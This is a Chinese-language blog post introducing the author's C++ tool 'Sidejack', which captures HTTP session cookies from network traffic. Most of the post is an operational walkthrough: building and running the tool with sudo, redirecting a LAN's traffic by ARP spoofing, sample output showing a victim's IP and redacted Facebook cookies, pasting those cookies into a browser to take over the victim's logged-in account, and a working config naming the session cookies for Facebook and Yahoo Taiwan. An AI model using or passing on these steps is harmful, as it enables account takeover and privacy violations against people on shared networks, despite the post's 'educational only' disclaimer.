2014年11月16日 星期日

Sidejack 連線劫持

備註:這是一篇 2011/8 的老文章,網站搬家後轉過來的,請斟酌使用。

簡介

Sidejack 是可以發動連線劫持 (Session Hijacking) 的程式。

Sidejack 是受 Firesheep 的啟發,雖然一直知道 Session Hijack,但是直到看到 Firesheep 才想說,不如我也來寫一個類似的工具程式好了,所以就 Sidejack 就這樣在兩天之後誕生了。

寫成 Firefox 的外掛需要寫 Javascript 程式,我的 Javascript 不熟,所以我不想寫成外掛,想把它作成一個獨立的程式,如果你對於寫 Firefox 外掛很有興趣,我們可以合作把 Sidejack 移植到火狐狸上,請留言給我。

Sidejack 是純粹用 C++ 寫的,程式碼內包含了 Ryan Dahl 的 http-parser,這部份是 C 語法,以及 Firesheep 的 http sniffer,這部份是很漂亮的 C++。

這裡可以下載原始程式碼,目前版本 v0.1.2。

這裡是它在 BitBucket 的網頁。

Sidejack 使用 GPL。

程式不包含中間人攻擊,至少現在不包含,所以,除非你在一個無加密的無線網路空間之中,否則你必須自己使用類似 ARP spoofing 的技術,先把區網的封包導到你這裡,才能夠讓 Sidejack 去處理這些封包;或者你自己是 gateway,又或者你是 Tor 網路的出口,封包已經導到你這裡了。留意,除非滿足以上或者類似的條件,否則 Sidejack 只能夠聽到你自己電腦的封包,就像 Wireshark 或者 Firesheep 一樣也都只能聽到你自己的封包,不是程式的限制或者程式有問題,而是環境不滿足。

即便是你已經連上了加密的無線網路環境 WEP/WPA/WPA2,若不能夠把無線網卡的模式設定為 moniter mode 也是聽不到別人的封包,這是 packet sniffer 基本的問題和需要克服的條件,至於如何設定,和作業系統、驅動程式、以及網卡的硬體不同都有關系,可以參考這一篇文章的解釋,或者讓整件事情困難一點也有好處,免得太多人濫用。

需求條件

目前只支援 Unix-like 的作業系統,我用的電腦是 Ubuntu x86,沒試過其他的,也沒別的電腦可以試,但是我沒有用到什麼系統相關的函式,所以別的系統應該也可以,至於 Windows 系統,因為我用 Libpcap,所以可能會不能直接編譯,如果你很希望有 Windows 的版本,請留言在網頁上,有足夠多的需求也許我會考慮釋放 Windows 的版本,或者有人有興趣幫忙 porting。

你需要 Libpcap,請確定你的 pcap.h 以及 libpcap.so 在預設可以被找到的路徑,Ubuntu 的話直接 apt-get install libpcap-dev 即可。

你還需要 curl,我使用 curl 來抓取使用者帳號以及照片的超連結,我說的是 curl 程式,Ubuntu 的話直接 apt-get install curl 即可。

編譯

解壓縮後直接到 Release 子目錄下輸入 make all 即可。如果你用 Eclipse,也可以直接匯入 Project,sidejack 的撰寫環境是用 Eclipse 。

執行

執行的話需要 sudo 權限。如果要顯示用法的話,直接執行就會顯示出來:

Usage: ./sidejack <iface> <config_file>

<iface> 是監聽封包的網路介面,例如無線網路如果是 wlan0,這裡就填 wlan0。

<config_file> 是設定檔案的路徑,一定要有設定檔案,基本的設定檔案已經有包含在釋放出來的原始程式碼裡面,檔名是 config.txt,格式規定得很嚴格,連大小寫都有限制,下面篇幅會詳細談論設定檔案格式。

程式不是給一般使用者用的,所以沒有特別針對刁鑽的輸入去作保護。

下面是一個執行的範例,拿這個來說明,最下面的 User 顯示已經成功攻擊到的使用者帳號,Avatar 顯示使用者照片的超連結,如果有 Avatar 的話,如果沒有就不會顯示,前面的 192.168.xxx.xxx 可以看到被攻擊者的 IP,為了隱密緣故,下面 Cookie 的資料都換成 x 了,Avatar 的超連結也是錯的。 把 Cookie 後面的所有值,透過 Firefox 的 Modify Header 外掛,新增 (Add) 一個 Cookie 值,把所有內容貼上當作 Value,如下面的附圖。

$ sudo ./sidejack wlan0 ../config.txt
After I captured some cookies, you can use Firefox with the plugin "Modify Headers" to sidejack sessions.
Just copy-n-paste the Cookie value, then "Add" this "Cookie" by Modify Header.
I recommend using Private Browsing to avoid causing any conflicts with your own sessions.
This program is educational and for demo purpose only. You have been notified.
Source code and more information can be found at securityalley.blogspot.tw

Initialization finished.
Start to capture packets...
[ 1 ]
192.168.xxx.xxx:42341 --> 69.171.229.16:80, Host: www.facebook.com
User: fon909
Avatar: http://securityalley.blogspot.tw/?page_id=2
Cookie: c_user=xxxxxx; datr=xxxxxxxxxx; lu=xxxxxxxx; sct=xxxxx; xs=xxxxxxxxx;
===============================================================================

如上圖,新增完 Cookie 之後,就可以連到該網站,以上面的例子來說就是在 Host 後面的網站 www.facebook.com,然後你應該可以看到被攻擊者的帳號已經是登入的狀態了。建議你使用火狐狸的安全瀏覽模式 (Private Browsing),免得你自己的 sessions 和被攻擊者的 sessions 混在一起了。要結束程式,直接暴力按 Ctrl + C 就可以了。

設定檔

設定檔案 config.txt 格式用下面的例子來說明,下面的例子是釋放出來的原始碼所包含的檔案內容,驗證過可以運作。
{
    Host: facebook.com
    Url: http://www.facebook.com/
    Cookie: datr c_user lu sct xs
    User: navAccountName
    User-Begin: >
    User-End: <
    Avatar: navAccountPic
    Avatar-Begin: src="
    Avatar-End: "
    Comment: Facebook's session is easy.
}
{
    Host: tw.yahoo.com
    Url: http://tw.yahoo.com/
    Cookie: Y T
    User: class="prompt"><cite
    User-Begin: >
    User-End: <
    Comment: This config can only let you access the site of tw.yahoo.com itself.
    Comment: But you can access emails from the main page. Click an email title from the drop-down UI directly.
}

如果你要新增的話,請按照同樣的格式新增在檔案的下方,首先每一組資料一定是用大括弧 { } 包起來,各別獨立一行,每個屬性都以冒號 : 結尾,空一格接續的是其值,請只改動值的部份,連空格都不可以省略。

Host 是網站的網域名,Url 是完整網址,Cookie 是主要組成 Session 的 Cookies 有哪些,User 是攻擊成功之後,抓下來的網頁資料中,哪裡可以找到使用者的帳號, User-Begin 是從 User 字串之後,開始遇到什麼字串之後可以解析使用者帳號,User-End 是結束字串,同樣的道理,Avatar 是哪裡可以找到使用者的大頭圖示,Avatar-Begin 和 Avatar-End 夾起來的字串就是使用者大頭圖示的超連結位址。Comment 後面接著一整行會被忽略,是作為註解使用的。例如上面的註解說只能夠存取 tw.yahoo.com 這個網站,但是可以透過首頁存取電子郵件,因為 tw.yahoo.com 首頁登入之後,在右邊的窗格中,會有下拉式的使用者介面,可以透過那裡直接點擊電子郵件的標題,藉此連結到電子郵件的系統裡面。

因為 Yahoo 台灣包含許多許多不同的網站,原則上都是同一組帳號密碼,但是切換到不同的網站的時候,都會要重新輸入密碼,所以才說 Session 只能提供 tw.yahoo.com 這個網站使用,別的網站,比如說像是 buy.yahoo.com.tw 就無法使用。但是因為網站不定時會更新,也許有些時候又可以使用也不一定。同樣的,因為網站不定時更新,也許這個設定檔案不久之後也無法使用也不一定,所以 Sidejack 提供另一種 Debug 模式,讓你可以自己分析 session 和 cookie。

進階 Debug 模式

Debug 子目錄下的是 Debug 版本的 Sidejack,在 Debug 版本中,不會呼叫 curl 程式去找出使用者帳號或大頭照片,而只是單純的印出在網路上抓到的 cookies,Debug 版本其實還提供第三個參數,第三個隱藏參數是當作過濾器使用,會以此參數來過濾 HTTP 的 Host 表頭,只有符合過濾字串的 Host 會被印出來,這樣可以過濾掉很多不需要的雜訊,以下面的例子來說明。

$ sudo ./sidejack wlan0 ../config.txt facebook
After I captured some cookies, you can use Firefox with the plugin "Modify Headers" to sidejack sessions.
Just copy-n-paste the Cookie value, then "Add" this "Cookie" by Modify Header.
I recommend using Private Browsing to avoid causing any conflicts with your own sessions.
This program is educational and for demo purpose only. You have been notified.
Source code and more information can be found at securityalley.blogspot.tw

Initialization finished.
Start to capture packets...
Debug mode is ON
[ 1 ]
192.168.xxx.xxx:34789 --> 69.171.224.42:80, Host: www.facebook.com, Method: GET
Cookie: locale=en_US; datr=xxx; lu=xxx; e=x; c_user=xxx; sct=xxx; xs=xxx; act=xxx; p=xxx; presence=xxx; wd=xx
User Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
===============================================================================

上面可以看出我只過濾 Host 有包含 facebook 的字串,並且 Sidejack 會印出完整的 cookies 值,你可以透過這個值去實驗分析究竟哪些 cookies 是湊成 session 的主要 cookies。目前確定有問題的網站,除了下面以外,也包括所有用 WordPress 架的網站,其他網站我想還有很多,只是要不要去分析而已。

  • facebook.com
  • tw.yahoo.com
  • www.youtube.com
  • www.wretch.cc
  • live.com
  • www.google.com

沒有留言:

張貼留言